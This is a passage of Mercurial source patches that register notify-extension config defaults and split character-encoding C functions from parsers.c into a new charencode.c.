#      Fri Jun 30 03:43:25 2017 +0200
# Node ID b76dc3e6bf99dd492b0451279c8a2c26b99c5f7a
# Parent  3d08f481069093cea3e55f2dc8647e3be32b7bce
configitems: register the 'notify.mbox' config

diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -176,6 +176,9 @@
 configitem('notify', 'maxsubject',
     default=67,
 )
+configitem('notify', 'mbox',
+    default=None,
+)
 
 # template for single changeset can include email headers.
 single_template = '''
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787006 -7200
#      Fri Jun 30 03:43:26 2017 +0200
# Node ID 8bf8ed0deab86c70ff774910476dab88770e9c33
# Parent  b76dc3e6bf99dd492b0451279c8a2c26b99c5f7a
configitems: register the 'notify.merge' config

diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -179,6 +179,9 @@
 configitem('notify', 'mbox',
     default=None,
 )
+configitem('notify', 'merge',
+    default=True,
+)
 
 # template for single changeset can include email headers.
 single_template = '''
@@ -220,7 +223,7 @@
         self.test = self.ui.configbool('notify', 'test', True)
         self.charsets = mail._charsets(self.ui)
         self.subs = self.subscribers()
-        self.merge = self.ui.configbool('notify', 'merge', True)
+        self.merge = self.ui.configbool('notify', 'merge')
 
         mapfile = None
         template = (self.ui.config('notify', hooktype) or
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787007 -7200
#      Fri Jun 30 03:43:27 2017 +0200
# Node ID 20189ba5fddf0f3c72cef66e7c61109a9f7ed787
# Parent  8bf8ed0deab86c70ff774910476dab88770e9c33
configitems: register the 'notify.sources' config

diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -182,6 +182,9 @@
 configitem('notify', 'merge',
     default=True,
 )
+configitem('notify', 'sources',
+    default='serve',
+)
 
 # template for single changeset can include email headers.
 single_template = '''
@@ -294,7 +297,7 @@
 
     def skipsource(self, source):
         '''true if incoming changes from this source should be skipped.'''
-        ok_sources = self.ui.config('notify', 'sources', 'serve').split()
+        ok_sources = self.ui.config('notify', 'sources').split()
         return source not in ok_sources
 
     def send(self, ctx, count, data):
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787008 -7200
#      Fri Jun 30 03:43:28 2017 +0200
# Node ID 71665bbe82c1478e2134fba174c4fb2e26c0dd03
# Parent  20189ba5fddf0f3c72cef66e7c61109a9f7ed787
configitems: register the 'notify.strip' config

diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -185,6 +185,9 @@
 configitem('notify', 'sources',
     default='serve',
 )
+configitem('notify', 'strip',
+    default=0,
+)
 
 # template for single changeset can include email headers.
 single_template = '''
@@ -219,7 +222,7 @@
         if cfg:
             self.ui.readconfig(cfg, sections=['usersubs', 'reposubs'])
         self.repo = repo
-        self.stripcount = int(self.ui.config('notify', 'strip', 0))
+        self.stripcount = int(self.ui.config('notify', 'strip'))
         self.root = self.strip(self.repo.root)
         self.domain = self.ui.config('notify', 'domain')
         self.mbox = self.ui.config('notify', 'mbox')
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787009 -7200
#      Fri Jun 30 03:43:29 2017 +0200
# Node ID c27fac1ca8ed68db3bd7335878622271c161e7e9
# Parent  71665bbe82c1478e2134fba174c4fb2e26c0dd03
configitems: register the 'notify.style' config

diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -188,6 +188,9 @@
 configitem('notify', 'strip',
     default=0,
 )
+configitem('notify', 'style',
+    default=None,
+)
 
 # template for single changeset can include email headers.
 single_template = '''
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787010 -7200
#      Fri Jun 30 03:43:30 2017 +0200
# Node ID ff4a11ff7aa3339a85023cecad1fc30153e6e24e
# Parent  c27fac1ca8ed68db3bd7335878622271c161e7e9
configitems: register the 'notify.template' config

diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -191,6 +191,9 @@
 configitem('notify', 'style',
     default=None,
 )
+configitem('notify', 'template',
+    default=None,
+)
 
 # template for single changeset can include email headers.
 single_template = '''
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787011 -7200
#      Fri Jun 30 03:43:31 2017 +0200
# Node ID a0e28577f7d4c0d51cd075ddaaa3cd32d3380545
# Parent  ff4a11ff7aa3339a85023cecad1fc30153e6e24e
configitems: register the 'notify.test' config

diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -194,6 +194,9 @@
 configitem('notify', 'template',
     default=None,
 )
+configitem('notify', 'test',
+    default=True,
+)
 
 # template for single changeset can include email headers.
 single_template = '''
@@ -232,7 +235,7 @@
         self.root = self.strip(self.repo.root)
         self.domain = self.ui.config('notify', 'domain')
         self.mbox = self.ui.config('notify', 'mbox')
-        self.test = self.ui.configbool('notify', 'test', True)
+        self.test = self.ui.configbool('notify', 'test')
         self.charsets = mail._charsets(self.ui)
         self.subs = self.subscribers()
         self.merge = self.ui.configbool('notify', 'merge')
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1501506744 -32400
#      Mon Jul 31 22:12:24 2017 +0900
# Node ID 5866ba5e9c481e2370f68c3db3d9c654cce84abf
# Parent  a0e28577f7d4c0d51cd075ddaaa3cd32d3380545
cext: move _dict_new_presized() to header

Prepares for splitting encoding functions from parsers.c.

diff --git a/mercurial/cext/parsers.c b/mercurial/cext/parsers.c
--- a/mercurial/cext/parsers.c
+++ b/mercurial/cext/parsers.c
@@ -155,18 +155,6 @@
 	return _asciitransform(str_obj, uppertable, NULL);
 }
 
-static inline PyObject *_dict_new_presized(Py_ssize_t expected_size)
-{
-	/* _PyDict_NewPresized expects a minused parameter, but it actually
-	   creates a dictionary that's the nearest power of two bigger than the
-	   parameter. For example, with the initial minused = 1000, the
-	   dictionary created has size 1024. Of course in a lot of cases that
-	   can be greater than the maximum load factor Python's dict object
-	   expects (= 2/3), so as soon as we cross the threshold we'll resize
-	   anyway. So create a dictionary that's at least 3/2 the size. */
-	return _PyDict_NewPresized(((1 + expected_size) / 2) * 3);
-}
-
 static PyObject *dict_new_presized(PyObject *self, PyObject *args)
 {
 	Py_ssize_t expected_size;
diff --git a/mercurial/cext/util.h b/mercurial/cext/util.h
--- a/mercurial/cext/util.h
+++ b/mercurial/cext/util.h
@@ -42,6 +42,18 @@
 #include <stdbool.h>
 #endif
 
+static inline PyObject *_dict_new_presized(Py_ssize_t expected_size)
+{
+	/* _PyDict_NewPresized expects a minused parameter, but it actually
+	   creates a dictionary that's the nearest power of two bigger than the
+	   parameter. For example, with the initial minused = 1000, the
+	   dictionary created has size 1024. Of course in a lot of cases that
+	   can be greater than the maximum load factor Python's dict object
+	   expects (= 2/3), so as soon as we cross the threshold we'll resize
+	   anyway. So create a dictionary that's at least 3/2 the size. */
+	return _PyDict_NewPresized(((1 + expected_size) / 2) * 3);
+}
+
 static const int8_t hextable[256] = {
 	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
 	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1501507707 -32400
#      Mon Jul 31 22:28:27 2017 +0900
# Node ID e9996bd7203f99494c4701b8218335b02798d36e
# Parent  5866ba5e9c481e2370f68c3db3d9c654cce84abf
cext: split character encoding functions to new compilation unit

This extracts charencode.c from parsers.c, which seems big enough for me
to hesitate to add new JSON functions. Still charencode.o is linked to
parsers.so to avoid duplication of binary codes.

diff --git a/mercurial/cext/parsers.c b/mercurial/cext/charencode.c
copy from mercurial/cext/parsers.c
copy to mercurial/cext/charencode.c
--- a/mercurial/cext/parsers.c
+++ b/mercurial/cext/charencode.c
@@ -1,5 +1,5 @@
 /*
- parsers.c - efficient content parsing
+ charencode.c - miscellaneous character encoding
 
  Copyright 2008 Matt Mackall <mpm@selenic.com> and others
 
@@ -8,26 +8,8 @@
 */
 
 #include <Python.h>
-#include <ctype.h>
-#include <stddef.h>
-#include <string.h>
 
 #include "util.h"
-#include "bitmanipulation.h"
-
-#ifdef IS_PY3K
-/* The mapping of Python types is meant to be temporary to get Python
- * 3 to compile. We should remove this once Python 3 support is fully
- * supported and proper types are used in the extensions themselves. */
-#define PyInt_Type PyLong_Type
-#define PyInt_Check PyLong_Check
-#define PyInt_FromLong PyLong_FromLong
-#define PyInt_FromSsize_t PyLong_FromSsize_t
-#define PyInt_AS_LONG PyLong_AS_LONG
-#define PyInt_AsLong PyLong_AsLong
-#endif
-
-static const char *const versionerrortext = "Python minor version mismatch";
 
 static const char lowertable[128] = {
 	'\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07',
@@ -139,7 +121,7 @@
 	return ret;
 }
 
-static PyObject *asciilower(PyObject *self, PyObject *args)
+PyObject *asciilower(PyObject *self, PyObject *args)
 {
 	PyObject *str_obj;
 	if (!PyArg_ParseTuple(args, "O!:asciilower", &PyBytes_Type, &str_obj))
@@ -147,7 +129,7 @@
 	return _asciitransform(str_obj, lowertable, NULL);
 }
 
-static PyObject *asciiupper(PyObject *self, PyObject *args)
+PyObject *asciiupper(PyObject *self, PyObject *args)
 {
 	PyObject *str_obj;
 	if (!PyArg_ParseTuple(args, "O!:asciiupper", &PyBytes_Type, &str_obj))
@@ -155,17 +137,7 @@
 	return _asciitransform(str_obj, uppertable, NULL);
 }
 
-static PyObject *dict_new_presized(PyObject *self, PyObject *args)
-{
-	Py_ssize_t expected_size;
-
-	if (!PyArg_ParseTuple(args, "n:make_presized_dict", &expected_size))
-		return NULL;
-
-	return _dict_new_presized(expected_size);
-}
-
-static PyObject *make_file_foldmap(PyObject *self, PyObject *args)
+PyObject *make_file_foldmap(PyObject *self, PyObject *args)
 {
 	PyObject *dmap, *spec_obj, *normcase_fallback;
 	PyObject *file_foldmap = NULL;
@@ -235,763 +207,3 @@
 	Py_XDECREF(file_foldmap);
 	return NULL;
 }
-
-/*
- * This code assumes that a manifest is stitched together with newline
- * ('\n') characters.
- */
-static PyObject *parse_manifest(PyObject *self, PyObject *args)
-{
-	PyObject *mfdict, *fdict;
-	char *str, *start, *end;
-	int len;
-
-	if (!PyArg_ParseTuple(args, "O!O!s#:parse_manifest",
-			      &PyDict_Type, &mfdict,
-			      &PyDict_Type, &fdict,
-			      &str, &len))
-		goto quit;
-
-	start = str;
-	end = str + len;
-	while (start < end) {
-		PyObject *file = NULL, *node = NULL;
-		PyObject *flags = NULL;
-		char *zero = NULL, *newline = NULL;
-		ptrdiff_t nlen;
-
-		zero = memchr(start, '\0', end - start);
-		if (!zero) {
-			PyErr_SetString(PyExc_ValueError,
-					"manifest entry has no separator");
-			goto quit;
-		}
-
-		newline = memchr(zero + 1, '\n', end - (zero + 1));
-		if (!newline) {
-			PyErr_SetString(PyExc_ValueError,
-					"manifest contains trailing garbage");
-			goto quit;
-		}
-
-		file = PyBytes_FromStringAndSize(start, zero - start);
-
-		if (!file)
-			goto bail;
-
-		nlen = newline - zero - 1;
-
-		node = unhexlify(zero + 1, nlen > 40 ? 40 : (int)nlen);
-		if (!node)
-			goto bail;
-
-		if (nlen > 40) {
-			flags = PyBytes_FromStringAndSize(zero + 41,
-							   nlen - 40);
-			if (!flags)
-				goto bail;
-
-			if (PyDict_SetItem(fdict, file, flags) == -1)
-				goto bail;
-		}
-
-		if (PyDict_SetItem(mfdict, file, node) == -1)
-			goto bail;
-
-		start = newline + 1;
-
-		Py_XDECREF(flags);
-		Py_XDECREF(node);
-		Py_XDECREF(file);
-		continue;
-	bail:
-		Py_XDECREF(flags);
-		Py_XDECREF(node);
-		Py_XDECREF(file);
-		goto quit;
-	}
-
-	Py_INCREF(Py_None);
-	return Py_None;
-quit:
-	return NULL;
-}
-
-static inline dirstateTupleObject *make_dirstate_tuple(char state, int mode,
-						       int size, int mtime)
-{
-	dirstateTupleObject *t = PyObject_New(dirstateTupleObject,
-					      &dirstateTupleType);
-	if (!t)
-		return NULL;
-	t->state = state;
-	t->mode = mode;
-	t->size = size;
-	t->mtime = mtime;
-	return t;
-}
-
-static PyObject *dirstate_tuple_new(PyTypeObject *subtype, PyObject *args,
-				    PyObject *kwds)
-{
-	/* We do all the initialization here and not a tp_init function because
-	 * dirstate_tuple is immutable. */
-	dirstateTupleObject *t;
-	char state;
-	int size, mode, mtime;
-	if (!PyArg_ParseTuple(args, "ciii", &state, &mode, &size, &mtime))
-		return NULL;
-
-	t = (dirstateTupleObject *)subtype->tp_alloc(subtype, 1);
-	if (!t)
-		return NULL;
-	t->state = state;
-	t->mode = mode;
-	t->size = size;
-	t->mtime = mtime;
-
-	return (PyObject *)t;
-}
-
-static void dirstate_tuple_dealloc(PyObject *o)
-{
-	PyObject_Del(o);
-}
-
-static Py_ssize_t dirstate_tuple_length(PyObject *o)
-{
-	return 4;
-}
-
-static PyObject *dirstate_tuple_item(PyObject *o, Py_ssize_t i)
-{
-	dirstateTupleObject *t = (dirstateTupleObject *)o;
-	switch (i) {
-	case 0:
-		return PyBytes_FromStringAndSize(&t->state, 1);
-	case 1:
-		return PyInt_FromLong(t->mode);
-	case 2:
-		return PyInt_FromLong(t->size);
-	case 3:
-		return PyInt_FromLong(t->mtime);
-	default:
-		PyErr_SetString(PyExc_IndexError, "index out of range");
-		return NULL;
-	}
-}
-
-static PySequenceMethods dirstate_tuple_sq = {
-	dirstate_tuple_length,     /* sq_length */
-	0,                         /* sq_concat */
-	0,                         /* sq_repeat */
-	dirstate_tuple_item,       /* sq_item */
-	0,                         /* sq_ass_item */
-	0,                         /* sq_contains */
-	0,                         /* sq_inplace_concat */
-	0                          /* sq_inplace_repeat */
-};
-
-PyTypeObject dirstateTupleType = {
-	PyVarObject_HEAD_INIT(NULL, 0)
-	"dirstate_tuple",          /* tp_name */
-	sizeof(dirstateTupleObject),/* tp_basicsize */
-	0,                         /* tp_itemsize */
-	(destructor)dirstate_tuple_dealloc, /* tp_dealloc */
-	0,                         /* tp_print */
-	0,                         /* tp_getattr */
-	0,                         /* tp_setattr */
-	0,                         /* tp_compare */
-	0,                         /* tp_repr */
-	0,                         /* tp_as_number */
-	&dirstate_tuple_sq,        /* tp_as_sequence */
-	0,                         /* tp_as_mapping */
-	0,                         /* tp_hash  */
-	0,                         /* tp_call */
-	0,                         /* tp_str */
-	0,                         /* tp_getattro */
-	0,                         /* tp_setattro */
-	0,                         /* tp_as_buffer */
-	Py_TPFLAGS_DEFAULT,        /* tp_flags */
-	"dirstate tuple",          /* tp_doc */
-	0,                         /* tp_traverse */
-	0,                         /* tp_clear */
-	0,                         /* tp_richcompare */
-	0,                         /* tp_weaklistoffset */
-	0,                         /* tp_iter */
-	0,                         /* tp_iternext */
-	0,                         /* tp_methods */
-	0,                         /* tp_members */
-	0,                         /* tp_getset */
-	0,                         /* tp_base */
-	0,                         /* tp_dict */
-	0,                         /* tp_descr_get */
-	0,                         /* tp_descr_set */
-	0,                         /* tp_dictoffset */
-	0,                         /* tp_init */
-	0,                         /* tp_alloc */
-	dirstate_tuple_new,        /* tp_new */
-};
-
-static PyObject *parse_dirstate(PyObject *self, PyObject *args)
-{
-	PyObject *dmap, *cmap, *parents = NULL, *ret = NULL;
-	PyObject *fname = NULL, *cname = NULL, *entry = NULL;
-	char state, *cur, *str, *cpos;
-	int mode, size, mtime;
-	unsigned int flen, len, pos = 40;
-	int readlen;
-
-	if (!PyArg_ParseTuple(args, "O!O!s#:parse_dirstate",
-			      &PyDict_Type, &dmap,
-			      &PyDict_Type, &cmap,
-			      &str, &readlen))
-		goto quit;
-
-	len = readlen;
-
-	/* read parents */
-	if (len < 40) {
-		PyErr_SetString(
-			PyExc_ValueError, "too little data for parents");
-		goto quit;
-	}
-
-	parents = Py_BuildValue("s#s#", str, 20, str + 20, 20);
-	if (!parents)
-		goto quit;
-
-	/* read filenames */
-	while (pos >= 40 && pos < len) {
-		if (pos + 17 > len) {
-			PyErr_SetString(PyExc_ValueError,
-					"overflow in dirstate");
-			goto quit;
-		}
-		cur = str + pos;
-		/* unpack header */
-		state = *cur;
-		mode = getbe32(cur + 1);
-		size = getbe32(cur + 5);
-		mtime = getbe32(cur + 9);
-		flen = getbe32(cur + 13);
-		pos += 17;
-		cur += 17;
-		if (flen > len - pos) {
-			PyErr_SetString(PyExc_ValueError, "overflow in dirstate");
-			goto quit;
-		}
-
-		entry = (PyObject *)make_dirstate_tuple(state, mode, size,
-							mtime);
-		cpos = memchr(cur, 0, flen);
-		if (cpos) {
-			fname = PyBytes_FromStringAndSize(cur, cpos - cur);
-			cname = PyBytes_FromStringAndSize(cpos + 1,
-							   flen - (cpos - cur) - 1);
-			if (!fname || !cname ||
-			    PyDict_SetItem(cmap, fname, cname) == -1 ||
-			    PyDict_SetItem(dmap, fname, entry) == -1)
-				goto quit;
-			Py_DECREF(cname);
-		} else {
-			fname = PyBytes_FromStringAndSize(cur, flen);
-			if (!fname ||
-			    PyDict_SetItem(dmap, fname, entry) == -1)
-				goto quit;
-		}
-		Py_DECREF(fname);
-		Py_DECREF(entry);
-		fname = cname = entry = NULL;
-		pos += flen;
-	}
-
-	ret = parents;
-	Py_INCREF(ret);
-quit:
-	Py_XDECREF(fname);
-	Py_XDECREF(cname);
-	Py_XDECREF(entry);
-	Py_XDECREF(parents);
-	return ret;
-}
-
-/*
- * Build a set of non-normal and other parent entries from the dirstate dmap
-*/
-static PyObject *nonnormalotherparententries(PyObject *self, PyObject *args) {
-	PyObject *dmap, *fname, *v;
-	PyObject *nonnset = NULL, *otherpset = NULL, *result = NULL;
-	Py_ssize_t pos;
-
-	if (!PyArg_ParseTuple(args, "O!:nonnormalentries",
-			      &PyDict_Type, &dmap))
-		goto bail;
-
-	nonnset = PySet_New(NULL);
-	if (nonnset == NULL)
-		goto bail;
-
-	otherpset = PySet_New(NULL);
-	if (otherpset == NULL)
-		goto bail;
-
-	pos = 0;
-	while (PyDict_Next(dmap, &pos, &fname, &v)) {
-		dirstateTupleObject *t;
-		if (!dirstate_tuple_check(v)) {
-			PyErr_SetString(PyExc_TypeError,
-					"expected a dirstate tuple");
-			goto bail;
-		}
-		t = (dirstateTupleObject *)v;
-
-		if (t->state == 'n' && t->size == -2) {
-			if (PySet_Add(otherpset, fname) == -1) {
-				goto bail;
-			}
-		}
-
-		if (t->state == 'n' && t->mtime != -1)
-			continue;
-		if (PySet_Add(nonnset, fname) == -1)
-			goto bail;
-	}
-
-	result = Py_BuildValue("(OO)", nonnset, otherpset);
-	if (result == NULL)
-		goto bail;
-	Py_DECREF(nonnset);
-	Py_DECREF(otherpset);
-	return result;
-bail:
-	Py_XDECREF(nonnset);
-	Py_XDECREF(otherpset);
-	Py_XDECREF(result);
-	return NULL;
-}
-
-/*
- * Efficiently pack a dirstate object into its on-disk format.
- */
-static PyObject *pack_dirstate(PyObject *self, PyObject *args)
-{
-	PyObject *packobj = NULL;
-	PyObject *map, *copymap, *pl, *mtime_unset = NULL;
-	Py_ssize_t nbytes, pos, l;
-	PyObject *k, *v = NULL, *pn;
-	char *p, *s;
-	int now;
-
-	if (!PyArg_ParseTuple(args, "O!O!Oi:pack_dirstate",
-			      &PyDict_Type, &map, &PyDict_Type, &copymap,
-			      &pl, &now))
-		return NULL;
-
-	if (!PySequence_Check(pl) || PySequence_Size(pl) != 2) {
-		PyErr_SetString(PyExc_TypeError, "expected 2-element sequence");
-		return NULL;
-	}
-
-	/* Figure out how much we need to allocate. */
-	for (nbytes = 40, pos = 0; PyDict_Next(map, &pos, &k, &v);) {
-		PyObject *c;
-		if (!PyBytes_Check(k)) {
-			PyErr_SetString(PyExc_TypeError, "expected string key");
-			goto bail;
-		}
-		nbytes += PyBytes_GET_SIZE(k) + 17;
-		c = PyDict_GetItem(copymap, k);
-		if (c) {
-			if (!PyBytes_Check(c)) {
-				PyErr_SetString(PyExc_TypeError,
-						"expected string key");
-				goto bail;
-			}
-			nbytes += PyBytes_GET_SIZE(c) + 1;
-		}
-	}
-
-	packobj = PyBytes_FromStringAndSize(NULL, nbytes);
-	if (packobj == NULL)
-		goto bail;
-
-	p = PyBytes_AS_STRING(packobj);
-
-	pn = PySequence_ITEM(pl, 0);
-	if (PyBytes_AsStringAndSize(pn, &s, &l) == -1 || l != 20) {
-		PyErr_SetString(PyExc_TypeError, "expected a 20-byte hash");
-		goto bail;
-	}
-	memcpy(p, s, l);
-	p += 20;
-	pn = PySequence_ITEM(pl, 1);
-	if (PyBytes_AsStringAndSize(pn, &s, &l) == -1 || l != 20) {
-		PyErr_SetString(PyExc_TypeError, "expected a 20-byte hash");
-		goto bail;
-	}
-	memcpy(p, s, l);
-	p += 20;
-
-	for (pos = 0; PyDict_Next(map, &pos, &k, &v); ) {
-		dirstateTupleObject *tuple;
-		char state;
-		int mode, size, mtime;
-		Py_ssize_t len, l;
-		PyObject *o;
-		char *t;
-
-		if (!dirstate_tuple_check(v)) {
-			PyErr_SetString(PyExc_TypeError,
-					"expected a dirstate tuple");
-			goto bail;
-		}
-		tuple = (dirstateTupleObject *)v;
-
-		state = tuple->state;
-		mode = tuple->mode;
-		size = tuple->size;
-		mtime = tuple->mtime;
-		if (state == 'n' && mtime == now) {
-			/* See pure/parsers.py:pack_dirstate for why we do
-			 * this. */
-			mtime = -1;
-			mtime_unset = (PyObject *)make_dirstate_tuple(
-				state, mode, size, mtime);
-			if (!mtime_unset)
-				goto bail;
-			if (PyDict_SetItem(map, k, mtime_unset) == -1)
-				goto bail;
-			Py_DECREF(mtime_unset);
-			mtime_unset = NULL;
-		}
-		*p++ = state;
-		putbe32((uint32_t)mode, p);
-		putbe32((uint32_t)size, p + 4);
-		putbe32((uint32_t)mtime, p + 8);
-		t = p + 12;
-		p += 16;
-		len = PyBytes_GET_SIZE(k);
-		memcpy(p, PyBytes_AS_STRING(k), len);
-		p += len;
-		o = PyDict_GetItem(copymap, k);
-		if (o) {
-			*p++ = '\0';
-			l = PyBytes_GET_SIZE(o);
-			memcpy(p, PyBytes_AS_STRING(o), l);
-			p += l;
-			len += l + 1;
-		}
-		putbe32((uint32_t)len, t);
-	}
-
-	pos = p - PyBytes_AS_STRING(packobj);
-	if (pos != nbytes) {
-		PyErr_Format(PyExc_SystemError, "bad dirstate size: %ld != %ld",
-                             (long)pos, (long)nbytes);
-		goto bail;
-	}
-
-	return packobj;
-bail:
-	Py_XDECREF(mtime_unset);
-	Py_XDECREF(packobj);
-	Py_XDECREF(v);
-	return NULL;
-}
-
-#define BUMPED_FIX 1
-#define USING_SHA_256 2
-#define FM1_HEADER_SIZE (4 + 8 + 2 + 2 + 1 + 1 + 1)
-
-static PyObject *readshas(
-	const char *source, unsigned char num, Py_ssize_t hashwidth)
-{
-	int i;
-	PyObject *list = PyTuple_New(num);
-	if (list == NULL) {
-		return NULL;
-	}
-	for (i = 0; i < num; i++) {
-		PyObject *hash = PyBytes_FromStringAndSize(source, hashwidth);
-		if (hash == NULL) {
-			Py_DECREF(list);
-			return NULL;
-		}
-		PyTuple_SET_ITEM(list, i, hash);
-		source += hashwidth;
-	}
-	return list;
-}
-
-static PyObject *fm1readmarker(const char *databegin, const char *dataend,
-			       uint32_t *msize)
-{
-	const char *data = databegin;
-	const char *meta;
-
-	double mtime;
-	int16_t tz;
-	uint16_t flags;
-	unsigned char nsuccs, nparents, nmetadata;
-	Py_ssize_t hashwidth = 20;
-
-	PyObject *prec = NULL, *parents = NULL, *succs = NULL;
-	PyObject *metadata = NULL, *ret = NULL;
-	int i;
-
-	if (data + FM1_HEADER_SIZE > dataend) {
-		goto overflow;
-	}
-
-	*msize = getbe32(data);
-	data += 4;
-	mtime = getbefloat64(data);
-	data += 8;
-	tz = getbeint16(data);
-	data += 2;
-	flags = getbeuint16(data);
-	data += 2;
-
-	if (flags & USING_SHA_256) {
-		hashwidth = 32;
-	}
-
-	nsuccs = (unsigned char)(*data++);
-	nparents = (unsigned char)(*data++);
-	nmetadata = (unsigned char)(*data++);
-
-	if (databegin + *msize > dataend) {
-		goto overflow;
-	}
-	dataend = databegin + *msize;  /* narrow down to marker size */
-
-	if (data + hashwidth > dataend) {
-		goto overflow;
-	}
-	prec = PyBytes_FromStringAndSize(data, hashwidth);
-	data += hashwidth;
-	if (prec == NULL) {
-		goto bail;
-	}
-
-	if (data + nsuccs * hashwidth > dataend) {
-		goto overflow;
-	}
-	succs = readshas(data, nsuccs, hashwidth);
-	if (succs == NULL) {
-		goto bail;
-	}
-	data += nsuccs * hashwidth;
-
-	if (nparents == 1 || nparents == 2) {
-		if (data + nparents * hashwidth > dataend) {
-			goto overflow;
-		}
-		parents = readshas(data, nparents, hashwidth);
-		if (parents == NULL) {
-			goto bail;
-		}
-		data += nparents * hashwidth;
-	} else {
-		parents = Py_None;
-		Py_INCREF(parents);
-	}
-
-	if (data + 2 * nmetadata > dataend) {
-		goto overflow;
-	}
-	meta = data + (2 * nmetadata);
-	metadata = PyTuple_New(nmetadata);
-	if (metadata == NULL) {
-		goto bail;
-	}
-	for (i = 0; i < nmetadata; i++) {
-		PyObject *tmp, *left = NULL, *right = NULL;
-		Py_ssize_t leftsize = (unsigned char)(*data++);
-		Py_ssize_t rightsize = (unsigned char)(*data++);
-		if (meta + leftsize + rightsize > dataend) {
-			goto overflow;
-		}
-		left = PyBytes_FromStringAndSize(meta, leftsize);
-		meta += leftsize;
-		right = PyBytes_FromStringAndSize(meta, rightsize);
-		meta += rightsize;
-		tmp = PyTuple_New(2);
-		if (!left || !right || !tmp) {
-			Py_XDECREF(left);
-			Py_XDECREF(right);
-			Py_XDECREF(tmp);
-			goto bail;
-		}
-		PyTuple_SET_ITEM(tmp, 0, left);
-		PyTuple_SET_ITEM(tmp, 1, right);
-		PyTuple_SET_ITEM(metadata, i, tmp);
-	}
-	ret = Py_BuildValue("(OOHO(di)O)", prec, succs, flags,
-			    metadata, mtime, (int)tz * 60, parents);
-	goto bail;  /* return successfully */
-
-overflow:
-	PyErr_SetString(PyExc_ValueError, "overflow in obsstore");
-bail:
-	Py_XDECREF(prec);
-	Py_XDECREF(succs);
-	Py_XDECREF(metadata);
-	Py_XDECREF(parents);
-	return ret;
-}
-
-
-static PyObject *fm1readmarkers(PyObject *self, PyObject *args) {
-	const char *data, *dataend;
-	int datalen;
-	Py_ssize_t offset, stop;
-	PyObject *markers = NULL;
-
-	if (!PyArg_ParseTuple(args, "s#nn", &data, &datalen, &offset, &stop)) {
-		return NULL;
-	}
-	dataend = data + datalen;
-	data += offset;
-	markers = PyList_New(0);
-	if (!markers) {
-		return NULL;
-	}
-	while (offset < stop) {
-		uint32_t msize;
-		int error;
-		PyObject *record = fm1readmarker(data, dataend, &msize);
-		if (!record) {
-			goto bail;
-		}
-		error = PyList_Append(markers, record);
-		Py_DECREF(record);
-		if (error) {
-			goto bail;
-		}
-		data += msize;
-		offset += msize;
-	}
-	return markers;
-bail:
-	Py_DECREF(markers);
-	return NULL;
-}
-
-static char parsers_doc[] = "Efficient content parsing.";
-
-PyObject *encodedir(PyObject *self, PyObject *args);
-PyObject *pathencode(PyObject *self, PyObject *args);
-PyObject *lowerencode(PyObject *self, PyObject *args);
-PyObject *parse_index2(PyObject *self, PyObject *args);
-
-static PyMethodDef methods[] = {
-	{"pack_dirstate", pack_dirstate, METH_VARARGS, "pack a dirstate\n"},
-	{"nonnormalotherparententries", nonnormalotherparententries, METH_VARARGS,
-	"create a set containing non-normal and other parent entries of given "
-	"dirstate\n"},
-	{"parse_manifest", parse_manifest, METH_VARARGS, "parse a manifest\n"},
-	{"parse_dirstate", parse_dirstate, METH_VARARGS, "parse a dirstate\n"},
-	{"parse_index2", parse_index2, METH_VARARGS, "parse a revlog index\n"},
-	{"asciilower", asciilower, METH_VARARGS, "lowercase an ASCII string\n"},
-	{"asciiupper", asciiupper, METH_VARARGS, "uppercase an ASCII string\n"},
-	{"dict_new_presized", dict_new_presized, METH_VARARGS,
-	 "construct a dict with an expected size\n"},
-	{"make_file_foldmap", make_file_foldmap, METH_VARARGS,
-	 "make file foldmap\n"},
-	{"encodedir", encodedir, METH_VARARGS, "encodedir a path\n"},
-	{"pathencode", pathencode, METH_VARARGS, "fncache-encode a path\n"},
-	{"lowerencode", lowerencode, METH_VARARGS, "lower-encode a path\n"},
-	{"fm1readmarkers", fm1readmarkers, METH_VARARGS,
-			"parse v1 obsolete markers\n"},
-	{NULL, NULL}
-};
-
-void dirs_module_init(PyObject *mod);
-void manifest_module_init(PyObject *mod);
-void revlog_module_init(PyObject *mod);
-
-static const int version = 1;
-
-static void module_init(PyObject *mod)
-{
-	PyModule_AddIntConstant(mod, "version", version);
-
-	/* This module constant has two purposes.  First, it lets us unit test
-	 * the ImportError raised without hard-coding any error text.  This
-	 * means we can change the text in the future without breaking tests,
-	 * even across changesets without a recompile.  Second, its presence
-	 * can be used to determine whether the version-checking logic is
-	 * present, which also helps in testing across changesets without a
-	 * recompile.  Note that this means the pure-Python version of parsers
-	 * should not have this module constant. */
-	PyModule_AddStringConstant(mod, "versionerrortext", versionerrortext);
-
-	dirs_module_init(mod);
-	manifest_module_init(mod);
-	revlog_module_init(mod);
-
-	if (PyType_Ready(&dirstateTupleType) < 0)
-		return;
-	Py_INCREF(&dirstateTupleType);
-	PyModule_AddObject(mod, "dirstatetuple",
-			   (PyObject *)&dirstateTupleType);
-}
-
-static int check_python_version(void)
-{
-	PyObject *sys = PyImport_ImportModule("sys"), *ver;
-	long hexversion;
-	if (!sys)
-		return -1;
